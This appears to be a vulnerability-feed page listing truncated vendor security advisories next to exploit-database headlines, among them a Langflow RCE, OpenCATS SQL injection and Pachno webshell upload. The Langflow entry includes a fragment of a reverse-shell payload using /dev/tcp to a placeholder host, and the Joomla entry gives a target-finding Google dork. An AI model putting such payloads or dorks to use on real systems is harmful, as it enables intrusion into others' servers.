Security Bulletin: Denial of Service Vulnerability in jackson-core affect IBM Cloud Pak System[WS-2022-0468]

Summary Denial of Service Vulnerability in jackson-core was addressed in IBM Cloud Pak System version 2.3.6.0 and IBM Cloud Pak System version 2.3.5.1 BYOH on power. Vulnerability Details ID:WS-2022-0468 DESCRIPTION: The jackson-core package is vulnerable to a Denial of Service DoS attack. The...

CVE-2026-54264

A flaw was found in the @angular/service-worker package of the Angular framework. This information disclosure vulnerability occurs when the Service Worker, which manages network requests and caching, fetches assets and preserves metadata from the original request. On cross-origin redirects, the...

Security Bulletin: Multiple vulnerabilities in IBM MQ Operator and Queue manager container images

Summary Multiple vulnerabilities were addressed in IBM MQ Operator and Queue manager container images Vulnerability Details CVEID:CVE-2026-34182 DESCRIPTION: Issue Summary: Cryptographic Message Services CMS processing fails to perform sufficient input validation on the cipher and tag length fiel...

K000162136: Node.js vulnerabilities CVE-2026-48615 and CVE-2026-48935

Security Advisory Description CVE-2026-48615 A flaw in Node.js proxy tunnel error handling could expose proxy credentials in ERRPROXYTUNNEL error messages. When proxy credentials are embedded in the proxy URL, they may be exposed through error handling paths and captured by logs, diagnostics, or...

K000162135: Apache Flink vulnerability CVE-2026-35194

Security Advisory Description Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary code on TaskManagers via maliciously crafted SQL queries. The vulnerability affects JSON...

Exploit for Improper Authentication in Phpmyadmin

phpMyAdmin-CVE-2018-12613 1. 취약점 요약 | 항목 | 내용 | |---|---|...

Security Bulletin: Vulnerability in Semeru Runtime affecting Rational Business Developer

Summary There are vulnerabilities in Semeru Runtime used by Rational Business Developer. Rational Business Developer has provided fixes for the applicable CVEs. Vulnerability Details CVEID:CVE-2026-34282 DESCRIPTION: Easily exploitable vulnerability allows unauthenticated attacker with network...

K000162132: Linux kernel TLS vulnerability CVE-2025-39946

Security Advisory Description In the Linux kernel, the following vulnerability has been resolved: tls: make sure to abort the stream if headers are bogus Normally we wait for the socket to buffer up the whole record before we service it. If the socket has a tiny buffer, however, we read out the...

Exploit for CVE-2026-49777

!AMN SECURITYhttps://img.shields.io/badge/AMN-SECURITY-000000...

Atarim WordPress Plugin 4.2.2 - Sensitive Information Exposure

Exploit Title: Atarim WordPress Plugin 4.2.2 - Sensitive Information Exposure Google Dork: N/A Date: 2026-07-05 Exploit Author: Mohammad Hossein Sadeghian Vendor Homepage: https://atarim.io/ Software Link: https://wordpress.org/plugins/atarim/ Version: 4.2.2 Tested on: Ubuntu 22.04 LTS, Apache 2....

📄 OpenCATS 0.9.7.4 Time-Based Blind SQL Injection

This Python script targets a remote SQL injection vulnerability in OpenCATS version 0.9.7.4. ================================================================================================================================== | Title : OpenCATS 0.9.7.4 Time-Based Blind SQL Injection Exploit Data...

📄 Pachno 1.0.6 XML Injection / Code Execution / Shell Upload

Authenticated Python exploit tool targeting Pachno version 1.0.6 with claimed XXE, privilege escalation, CSRF payload generation, unrestricted PHP webshell upload, open redirect testing, and a placeholder deserialization / remote code execution chain...

📄 OpenSourcePOS 3.4.1 Cross Site Request Forgery

OpenSourcePOS version 3.4.1 suffers from a cross site request forgery vulnerability. ================================================================================================================================== | Title : OpenSourcePOS 3.4.1 CSRF Vulnerability Leading to Unauthorized Admin...

ALSA-2026:36730 Moderate: libsolv security update

The libsolv packages provide a library for resolving package dependencies using a satisfiability algorithm. Security Fixes: libsolv: Heap buffer overflow in libsolv repopagestore via unchecked decompression of malicious .solv page data CVE-2026-48864 For more details about the security issues,...

📄 NTLM Relay to Self Attack Module for Active Directory Privilege Escalation

This is a Metasploit module designed for Windows/Active Directory environments that performs an advanced NTLM relay-to-self attack to escalate privileges on a compromised machine...

Joomla Page Builder CK 3.5.10 - Arbitrary File Upload

Exploit Title: Joomla Page Builder CK 3.5.10 - Arbitrary File Upload Google Dork: inurl:compagebuilderck OR "/components/compagebuilderck/assets/pagebuilderck.js" Date: 2026-07-04 Exploit Author: M@rAz Ali Credits: Peyman Siyahi, MR.PERSIA Vendor Homepage: https://www.joomlack.fr/ Software Link:...

Moderate: libsolv security update

The libsolv packages provide a library for resolving package dependencies using a satisfiability algorithm. Security Fixes: libsolv: Heap buffer overflow in libsolv repopagestore via unchecked decompression of malicious .solv page data CVE-2026-48864 For more details about the security issues,...

Langflow 1.9.0 - RCE

Exploit Title: Langflow 1.9.0 - RCE Exploit Author: Diamorphine Vendor Homepage: https://www.langflow.org/ Software Link: https://www.langflow.org/desktop Version: & /dev/tcp/lhost/lport 0&1'"\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom...

📄 OpenBMC bmcweb Authentication Bypass

Proof of concept that demonstrates an OpenBMC bmcweb AUTH-F6 mTLS UPN Suffix authentication bypass vulnerability via a parent-domain certificate. ================================================================================================================================== | Title : OpenBMC...

edk2 security, bug fix, and enhancement update

20220126gitbb1bba3d77-13.el8.10 - edk2-OvmfPkg-Expand-EnrollDefaultKeys-with-Microsoft-2023.patch RHEL-151949 - Resolves: RHEL-151949 FJ8.10 Bug How to Update Secure Boot Certificates with Microsoft 2023 in KVM Guests 20220126gitbb1bba3d77-13.el8.9 -...